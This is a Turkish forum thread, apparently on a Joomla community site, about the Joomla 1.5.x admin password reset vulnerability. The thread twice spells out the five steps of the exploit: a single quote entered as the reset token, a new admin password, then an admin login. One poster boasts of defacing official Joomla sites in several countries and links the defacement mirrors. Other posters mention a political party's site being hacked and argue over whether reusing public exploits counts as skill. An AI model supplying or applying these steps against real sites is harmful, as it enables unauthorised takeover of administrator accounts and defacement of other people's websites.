Bu acık sanırım.. Turkler mi bulmus yoksa turklere laf mı atıyolar. ingilizce olmadıgı için anlamıoz. http://www.milw0rm.com/exploits/6234

www.joomlaokulu.net :) Yapay zeka, zeka değildir.

kullanısını bende bilmiyorum onu hack yapana sorun ben bir bolumunu cevirdim. Laf Yapacağına ICRAAT Yap!..

Joomla Japonya Resmi Sitesihttp://www.joomla.jphttp://www. zone-h. org/component/option, com_mirrorwrp/Itemid,160/id,7745842/Joomla Yunanistan Resmi Sitesihttp://www.joomla.grhttp://www. zone-h. org/component/option, com_mirrorwrp/Itemid,160/id,7745848/Joomla Ekvador Resmi Sitesihttp://www.joomlaec.orghttp://www. zone-h. org/component/option, com_mirrorwrp/Itemid,160/id,7745971/Joomla Çin Resmi Sitesihttp://portal.joomla. chhttp://www.zone-h.org/component/option, com_mirrorwrp/Itemid,160/id,7745900/Joomla Ermenistan Resmi Sitesihttp://joomla.am/index. php http://www.zone-h.org/component/option, com_mirrorwrp/Itemid,160/id,7745897/Joomla Tuvalu Resmi Sitesihttp://joomla.tv/index. phphttp://zone-turk.net/index/id/48269/ zone-h almadı. jp ye benden sonra sub açıp filan basan oldu neyse... reklam olarak algılanmasın paylaşmak istediğim için koyuyorum. uygun grülmezse silinsin. Joomladaki yeni açığımız hayırlı uğurlu olsun=) .

: 1. Go to url : target.com/index. php?option=com_user&view=reset&layout=confirm2. Write into field "token" char ' and Click OK.3. Write new password for admin4. Go to url : target.com/administrator/5. Login admin with new password# milw0rm.com sifreyi sifirlayip yeni sifre elde edip admin panelinden yeni sifre ile giris yapma olayiymis sanırsam. komutu yazdim boyle dedi :D Hoş geldiniz! Sitemizin Kullanıcı Blümüne hoş geldiniz.

1. Go to url : target.com/index. php?option=com_user&view=reset&layout=confirm2. Write into field "token" char ' and Click OK.3. Write new password for admin4. Go to url : target.com/administrator/5. Login admin with new password# milw0rm.com sifreyi sifirlayip yeni sifre elde edip admin panelinden yeni sifre ile giris yapma olayiymis sanırsam. Laf Yapacağına ICRAAT Yap!..

: Demekki neymiş, İngilizce bilen "Herhangibir" insan, Milw0rm.com da yeteri sıklıkta F5 e basarsa, Ve gelenleri okursa, "Hacker" olabiliyormuş :P 1. si hackerım diye bişey sylemedim. hacker olduğumuda düşünmüyorum 2. si milw0rma haftada en fazla bi kere girerim. 3. sü açık çıkmış bastım suçmu? crackers_child da joomlanın it uzantılısına basmış. ona da geçerlimi bu szün? 4. sü paylaşmak istediğim için yazdım tartışmak değil. demekki neymiş "herhangibir" insan, tartışmak için mesaj yazabiliyomuş.. ingilizceyede gerek yokmuş. konu gereksiz grüldüyse silinebilir. bu yüzden açmamıştım konuyu. .

Demekki neymiş, İngilizce bilen "Herhangibir" insan, Milw0rm.com da yeteri sıklıkta F5 e basarsa, Ve gelenleri okursa, "Hacker" olabiliyormuş :P

akparti. org.trhacklenmiş harbi :)insan daha düzgün şeyler yazar :) - xx yerde hata var. - ya aslında kod şyle sanıyor olabilir bla bla bla - olm kendine gel kodlar düşünmez - ...

: Demekki neymiş, İngilizce bilen "Herhangibir" insan, Milw0rm.com da yeteri sıklıkta F5 e basarsa, Ve gelenleri okursa, "Hacker" olabiliyormuş :P hocam google translate unuttun. :))) heykırlıkta nemli bir araç hehehe Kendine zgü fikir ve grüşü olmayıp, sadece başkalarının ağızlarının içine bakarak yorum yapabilmek nasıl bir duruştur, nasıl bir kişilik profilidir hiç anlayamamışımdır.

Way way way kanqa helal :)

Zira yaptığın şeyin herhangibir "yeniliksel" değeri olmayışı konusunda. Ve bu yaptığını "herhangibir" başka insanın yapabileceği konusunda. Ama amacım kesinlikle tartışmak da değildi. hackin ne gibi bi yeniliksel değeri olabilirki? microsoftta sql le hacklendi. microsoftta o açık hep wardı. basit bi sql açığı. ama onu gren hackledi. herhangibir başka insanda basit bi şekilde sql dkümanlarından birine bakıp microsoftu hackleyebilirdi.. ha açık bulmak diyosan o zaman iss açığını bulup yapana da lamer diyemeyiz dimi? .

: Demekki neymiş, İngilizce bilen "Herhangibir" insan, Milw0rm.com da yeteri sıklıkta F5 e basarsa, Ve gelenleri okursa, "Hacker" olabiliyormuş :P zuahahaaa :=)o

Musket karisma haci, herseyin ilkini yapan konu acacaksa haci hic konu acilmasin. Forumda milletin sevkini kirmaktan baska ise yaramazmisin sen :D Hep denedin. Hep yenildin. Olsun yine dene, yine yenil ama daha iyi yenil!

: Bu acık sanırım.. Turkler mi bulmus yoksa turklere laf mı atıyolar. ingilizce olmadıgı için anlamıoz. http://www.milw0rm.com/exploits/6234 diyorki polonyalı hekırlar bu açıkla türk sitelerini deface etmişlermiş miş miş...

The-ExTaCy bunu yazdı: ben microsoftun hangi sitesi olduğunu sylememiştimki. sen zor bi sql sandın heralde. sadece basit bi union sql di. peki union sqli microsoftu hackleyen kişimi buldu? hayır. union sql hep wardı. o kişi sadece onu grdü we hackledi. wc timlerinden birinde diyelimki 11 kişi war. 10 kişi tbt de açık arayıp buluyolar. diğer 1 kişi basıyo. index wc adına. sonrada wc ye lamer diyoruz. bu doğrum peki?pizza konusuna gelince. pizzayı bi restorant yaptı diyelim. pizzayı onlarmı buldu peki? restorana gidip pizzayı yemek isteyince aşcı hazırlayıp size servis etti. aşcının emeği ne peki? zaten pizza hep vardı.. ha scriptte rfi açığı bulundu diyelim. ve ben siteye bastım. yine aynısını yazardın büyük ihtimalle. peki ben scripti indirseydim rfi açığını bulamazmıydım? bulurdum. senin kastettiğinde bu. benim bulmamış olmam. demekki nemli olan bişeyler icat etmek değilmiş. scripti ilk indiren kişi açığı bulabilirmiş dimi. şuan akparti. org.tr yi hacklemişler. msnden yazdılar. yarın weya bugün haberlere çıkarlar.. o açık hep wardı. ama onlar hackledi.. aynısını dicekisin onlara? Olay bulmak değil. İcat etmek de değil. İlk olmak. Yani Joomla Portalı ilk indiren adam. Joomla portalların hepsını indirme hakkına sahip olmuş oluyor.

The-ExTaCy bunu yazdı: Zira yaptığın şeyin herhangibir "yeniliksel" değeri olmayışı konusunda. Ve bu yaptığını "herhangibir" başka insanın yapabileceği konusunda. Ama amacım kesinlikle tartışmak da değildi. hackin ne gibi bi yeniliksel değeri olabilirki? microsoftta sql le hacklendi. microsoftta o açık hep wardı. basit bi sql açığı. ama onu gren hackledi. herhangibir başka insanda basit bi şekilde sql dkümanlarından birine bakıp microsoftu hackleyebilirdi.. ha açık bulmak diyosan o zaman iss açığını bulup yapana da lamer diyemeyiz dimi? Ben daha "mantıklı" yaklaşmanı beklerdim olaylara. Ama madem bu şekilde "düşünüyorsun" ben de sana benzetmeler ile izah edeyim. Yemek yenilecek,2 tane durum sz konusu:1- Anne yemeği pişiriyor,2- Anne dışardan sylediği pizzayı servis ediyor. Soru: 2. Durumda anne yemek hazırlamış mıdır? Microsoft konusuna gelince, Sen hayatında SQL injection yapmadın heralde?Sen her site 1=1 yiyor falan mı sanıyorsun anlamadım?Duyan da kolay birşey sanacak. Ayrıca SQL injection kolay diyelim, Adam oturmuş, Sitede açık aramış kurcalamış bulmuş ve basmış. Senin durumunu ele alalım, Biri istediği sitede açık bulmuş Sonra gidip açığı yayınlamış. Sen de "Aa lan açık buldum" diyip gidip "Açığı uygulayabıldıgın" sitelere index basmışsın. // Yemek olayına benzerlik gzünden kaçmadı değil mi? Davs muhabbeti nedir biliyorsan bir düşün bakalım benzerliği.

Evet bende bunu kastettim. ilk mesajınla son mesajın çelişiyo dikkat edersen.. ilk ben bastım.. .

hangi açık? "Derviş Yunus bu szü eğri büğrü syleme, Seni sorguya çeker bir Molla Kasım gelir."

The-ExTaCy bunu yazdı: Musket bunu yazdı: Demekki neymiş, İngilizce bilen "Herhangibir" insan, Milw0rm.com da yeteri sıklıkta F5 e basarsa, Ve gelenleri okursa, "Hacker" olabiliyormuş :P 1. si hackerım diye bişey sylemedim. hacker olduğumuda düşünmüyorum 2. si milw0rma haftada en fazla bi kere girerim. 3. sü açık çıkmış bastım suçmu? crackers_child da joomlanın it uzantılısına basmış. ona da geçerlimi bu szün? 4. sü paylaşmak istediğim için yazdım tartışmak değil. demekki neymiş "herhangibir" insan, tartışmak için mesaj yazabiliyomuş.. ingilizceyede gerek yokmuş. konu gereksiz grüldüyse silinebilir. bu yüzden açmamıştım konuyu. Hayır ben tartışma yaratma niyetinde falan değildim. Sadece bu işlerin "şans" faktrüne baktığını, Milw0rm'ün sık ziyaret edilmesi gerektiğini belirttim. Ama tartışadabiliriz istersen. Zira yaptığın şeyin herhangibir "yeniliksel" değeri olmayışı konusunda. Ve bu yaptığını "herhangibir" başka insanın yapabileceği konusunda. Ama amacım kesinlikle tartışmak da değildi. Zamanın tesinden gelen edit: Joomla 1.5. x Remote Admin Password Change ## Author: d3m0n (d3m0n@o2. pl) ## Greets: GregStar, gorion, d3d! k ## ## Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff ## Polish "hackers" used this bug to deface turkish sitesTercüme: "Polonyalı 'hackerlar' bu açığı Türk sitelerini deface etmek için kullandı.

: The-ExTaCy bunu yazdı: Zira yaptığın şeyin herhangibir "yeniliksel" değeri olmayışı konusunda. Ve bu yaptığını "herhangibir" başka insanın yapabileceği konusunda. Ama amacım kesinlikle tartışmak da değildi. hackin ne gibi bi yeniliksel değeri olabilirki? microsoftta sql le hacklendi. microsoftta o açık hep wardı. basit bi sql açığı. ama onu gren hackledi. herhangibir başka insanda basit bi şekilde sql dkümanlarından birine bakıp microsoftu hackleyebilirdi.. ha açık bulmak diyosan o zaman iss açığını bulup yapana da lamer diyemeyiz dimi? Ben daha "mantıklı" yaklaşmanı beklerdim olaylara. Ama madem bu şekilde "düşünüyorsun" ben de sana benzetmeler ile izah edeyim. Yemek yenilecek,2 tane durum sz konusu:1- Anne yemeği pişiriyor,2- Anne dışardan sylediği pizzayı servis ediyor. Soru: 2. Durumda anne yemek hazırlamış mıdır? Microsoft konusuna gelince, Sen hayatında SQL injection yapmadın heralde?Sen her site 1=1 yiyor falan mı sanıyorsun anlamadım?Duyan da kolay birşey sanacak. Ayrıca SQL injection kolay diyelim, Adam oturmuş, Sitede açık aramış kurcalamış bulmuş ve basmış. Senin durumunu ele alalım, Biri istediği sitede açık bulmuş Sonra gidip açığı yayınlamış. Sen de "Aa lan açık buldum" diyip gidip "Açığı uygulayabıldıgın" sitelere index basmışsın. // Yemek olayına benzerlik gzünden kaçmadı değil mi? Davs muhabbeti nedir biliyorsan bir düşün bakalım benzerliği. ben microsoftun hangi sitesi olduğunu sylememiştimki. sen zor bi sql sandın heralde. sadece basit bi union sql di. peki union sqli microsoftu hackleyen kişimi buldu? hayır. union sql hep wardı. o kişi sadece onu grdü we hackledi. wc timlerinden birinde diyelimki 11 kişi war. 10 kişi tbt de açık arayıp buluyolar. diğer 1 kişi basıyo. index wc adına. sonrada wc ye lamer diyoruz. bu doğrum peki?pizza konusuna gelince. pizzayı bi restorant yaptı diyelim. pizzayı onlarmı buldu peki? restorana gidip pizzayı yemek isteyince aşcı hazırlayıp size servis etti. aşcının emeği ne peki? zaten pizza hep vardı.. ha scriptte rfi açığı bulundu diyelim. ve ben siteye bastım. yine aynısını yazardın büyük ihtimalle. peki ben scripti indirseydim rfi açığını bulamazmıydım? bulurdum. senin kastettiğinde bu. benim bulmamış olmam. demekki nemli olan bişeyler icat etmek değilmiş. scripti ilk indiren kişi açığı bulabilirmiş dimi. şuan akparti. org.tr yi hacklemişler. msnden yazdılar. yarın weya bugün haberlere çıkarlar.. o açık hep wardı. ama onlar hackledi.. aynısını dicekisin onlara? .